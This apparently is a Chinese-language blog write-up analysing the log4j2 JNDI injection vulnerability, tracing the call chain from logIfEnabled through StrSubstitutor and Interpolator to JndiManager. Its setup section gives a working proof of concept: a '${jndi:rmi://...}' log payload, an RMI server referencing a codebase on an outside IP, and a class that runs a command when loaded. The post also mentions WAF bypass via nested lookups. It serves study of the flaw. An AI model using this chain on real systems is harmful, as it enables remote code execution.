log4j2漏洞分析

log4j2漏洞分析

  • 环境布置
  • 前言
  • 漏洞分析
    • 调用栈
    • 一些前置知识
    • 入口函数
    • LoggerConfig.processLogEvent()
    • AppenderControl.callAppender
    • AbstractOutputStreamAppender.tryAppend()
    • AbstractOutputStreamAppender.directEncodeEvent
    • PatternLayout.encode
    • PatternLayout.toSerializable
    • MessagePatternConverter.format(),
    • StrSubstitutor.replace()
    • StrSubstitutor.substitute
    • StrSubstitutor.resolveVariable
    • Interpolator.lookup
    • JndiLookup.lookup
    • JndiManager.lookup
  • 总结
  • 参考文章

环境布置

和前面的JNDI注入时用的代码差不多

package Log4j2;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        //有些高版本jdk需要打开此行代码
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

        //模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
        String username = "${jndi:rmi://127.0.0.1:1099/hello}";
        //正常打印业务日志
        logger.error("username:{}",username);
    }
}
package JNDI_Inesrct;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("Calc", "Calc", "http://42.193.22.50:1234/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        registry.bind("hello", refObjWrapper);
    }
}

package Log4j2;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class EvilCode {
    static {
        System.out.println("受害服务器将执行下面命令行");
        Process p;

        String[] cmd = {"calc"};
        try {
            p = Runtime.getRuntime().exec(cmd);
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
            while((line=br.readLine())!=null) {
                System.out.println(line);
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

如果要引入log4j2的jar包可以这么配置Maven的pom.xml


          org.apache.logging.log4j
          log4j-api
          2.14.0
      
      
          org.apache.logging.log4j
          log4j-core
          2.14.0
      

还要创建个配置文件
log4j2漏洞分析_第1张图片




    
    
        %d{yyyy-MM-dd HH:mm:ss,SSS} %5p %c{1}:%L - %m%n
        /data/logs/dust-server
    

    
        
            
            
        
    

    
        
        
            
            
            
                ${pattern}
            
        
        
        
            
            
                ${pattern}
            
            
                
            
            
            
                
                    
                    
                
            
        
    

前言

log4j2这个漏洞当时爆出来的时候堪称是核弹级别的,危害非常大,利用还非常简单,既然如此,那我们肯定要分析一下漏洞相关的原理来学习一下

漏洞分析

调用栈

这个漏洞是个JNDI注入漏洞,分析前我们需要清楚这一点,之前我也分析过JNDI注入的相关流程,该漏洞是从javax.naming.InitialContext开始的,那我们就在那里下个断点,就可以得到log4j2这个漏洞的调用栈了,

log4j2漏洞分析_第2张图片log4j2漏洞分析_第3张图片

一些前置知识

在详细分析前先简单了解下log4j三大组件:

Logger:日志记录器,负责收集处理日志记录
Appender:日志存放的地方,负责日志的输出
Layout:日志格式化,负责日志输出的形式

入口函数

本次漏洞的入口函数为logIfEnabled,然而如果使用了AbstractLogger.java中的debug、info、warn、error、fatal等都会触发到该函数,但是后想要触发该漏洞只能error/fotal触发
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
想要触发后续流程,需要调用logMessage方法,需要isEnable为true,isEnable会对level进行判断,只有小于等于200,才会返回true。
他们的level如下所示

static {
        OFF = new Level("OFF", StandardLevel.OFF.intLevel());
     //100
        FATAL = new Level("FATAL", StandardLevel.FATAL.intLevel());
     //200
        ERROR = new Level("ERROR", StandardLevel.ERROR.intLevel());
     //300
        WARN = new Level("WARN", StandardLevel.WARN.intLevel());
     //400
        INFO = new Level("INFO", StandardLevel.INFO.intLevel());
     //500
        DEBUG = new Level("DEBUG", StandardLevel.DEBUG.intLevel());
     //600
        TRACE = new Level("TRACE", StandardLevel.TRACE.intLevel());
     //2147483647
        ALL = new Level("ALL", StandardLevel.ALL.intLevel());
    }

LoggerConfig.processLogEvent()

log4j2漏洞分析_第4张图片
在log4j2中通过LoggerConfig.processLogEvent()处理日志事件,event中就是我们的日志事件,主要部分在调用callAppenders()即调用Appender

AppenderControl.callAppender

在这里插入图片描述
Appender功能主要是负责将日志事件传递到其目标,常用的Appender有ConsoleAppender(输出到控制台)、FileAppender(输出到本地文件)等,通过AppenderControl获取具体的Appender,本次调试的是ConsoleAppender。
log4j2漏洞分析_第5张图片
调用了AbstractOutputStreamAppender.tryAppend()尝试输出日志

AbstractOutputStreamAppender.tryAppend()

log4j2漏洞分析_第6张图片
在输入日志之前还得进行日志格式化,于是调用了directEncodeEvent

AbstractOutputStreamAppender.directEncodeEvent

log4j2漏洞分析_第7张图片

首先通过getLayout()获取Layout日志格式,通过Layout.encode()进行日志的格式化

PatternLayout.encode

log4j2漏洞分析_第8张图片
经过两层encode调用后再调用toText,在toSerializable处完成日志格式化

PatternLayout.toSerializable

log4j2漏洞分析_第9张图片
这里通过format来完成了格式化的事

MessagePatternConverter.format(),

处理传入的message通过MessagePatternConverter.format(),也是本次漏洞的关键之处,我们具体来看下。
log4j2漏洞分析_第10张图片
当config存在并且noLookups为false,匹配到${'则会调用replace替换字符串

StrSubstitutor.replace()

这里是调用栈最初调用lookup相关的地方
log4j2漏洞分析_第11张图片
这里我们看不出啥,跟进两层substitute调用后,查看相关代码

StrSubstitutor.substitute

StrSubstitutor类提供的 substitute 方法,是整个 Lookup 功能的核心,用来递归替换相应的字符,这里我们仔细看一下处理逻辑。
log4j2漏洞分析_第12张图片
我们先看看它的一些参数都代表了啥

prefixMatcher代表${ 前缀
suffixMatcher代表 } 后缀
escape代表 $
valueDelimiterMatcher代表 :和-
chars是我们写入日志的字符串
bufEnd相当于字符串长度
pos相当于头指针

接下来分析下代码逻辑
在这里插入图片描述
通过 while 循环遍历字符串寻找 ${ 前缀,找到以后startMatchLen会被赋值为2,相当于返回匹配到的前缀字符串长度,然后跳出循环

接着进入下一个while循环,寻找后缀
log4j2漏洞分析_第13张图片
在找后缀的 while 循环里,又判断了是否碰到 ${前缀,如果碰到了pos指针直接加上它的长度让指针后移继续寻找后缀
log4j2漏洞分析_第14张图片
后面匹配到后缀以后,把前缀和后缀中间部分提取出来,endMatchLen是匹配到的后缀的长度。
log4j2漏洞分析_第15张图片
后缀匹配完后,还要通过多个 if/else 用来匹配 :- 和 :-

:- 是一个赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb,:- 关键字将会被截取掉,而之前的字符串都会被舍弃掉。
:- 是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc。

通过上面的处理后,将会调用 resolveVariable 方法解析满足 Lookup 功能的语法,并执行相应的 lookup ,将返回的结果替换回原字符串后,再次调用 substitute 方法进行递归解析。
log4j2漏洞分析_第16张图片
因此在字符串替换的过程中可以看到,方法提供了一些特殊的写法,并支持递归解析。而这些特性,将会可以用来进行绕过 WAF。

我们接着看resolveVariable方法

StrSubstitutor.resolveVariable

在这里插入图片描述
这里调用了Interpolator.lookup,继续去看看

Interpolator.lookup

Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。

这个类在初始化时创建了一个 strLookupMap ,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中。
log4j2漏洞分析_第17张图片
在 2.14.0 版本中,默认是加入 log4j、sys、env、main、marker、java、lower、upper、jndi、jvmrunargs、spring、kubernetes、docker、web、date、ctx,由于部分功能的支持并不在 core 包中,所以如果加载不到对应的处理类,则会添加警告信息并跳过。而这些不同 Lookup 功能的支持,是随着版本更新的,例如在较低版本中,不存在 upper、lower 这两种功能,因此在使用时要注意环境。

处理和分发的关键逻辑在于其 lookup 方法,该漏洞利用的也是lookup方法
log4j2漏洞分析_第18张图片
通过 : 作为分隔符来分隔 Lookup 关键字及参数,从strLookupMap 中根据关键字作为 key 匹配到对应的处理类,并调用其 lookup 方法。

JndiLookup.lookup

本次漏洞的触发方式是使用 jndi: 关键字来触发 JNDI 注入漏洞,对于 jndi: 关键字的处理类为 org.apache.logging.log4j.core.lookup.JndiLookup
log4j2漏洞分析_第19张图片
看一下最关键的 lookup 方法,可以看到是使用了 JndiManager 来支持 JNDI 的查询功能。

JndiManager.lookup

在这里插入图片描述
这里用到了javax.naming.InitialContext,这就接上了我们之前文章讲的JNDI注入的内容,后续就不再分析了,这就是log4j2漏洞的基本流程

总结

log4j2的调用链我们就分析完,相对于之前分析的漏洞来说,调用栈还挺长的,也很有意思,收获满满,但还需要继续学习,有些知识点还不是很清晰。至于该漏洞的各种rce以及各种绕过姿势,后面有空再继续学习了。

参考文章

https://paper.seebug.org/1786/#0x01
https://su18.org/post/log4j2/#%E5%85%B3%E9%94%AE%E7%82%B9%E5%88%86%E6%9E%90
https://www.anquanke.com/post/id/262668#h3-6

你可能感兴趣的:(Java,安全,java)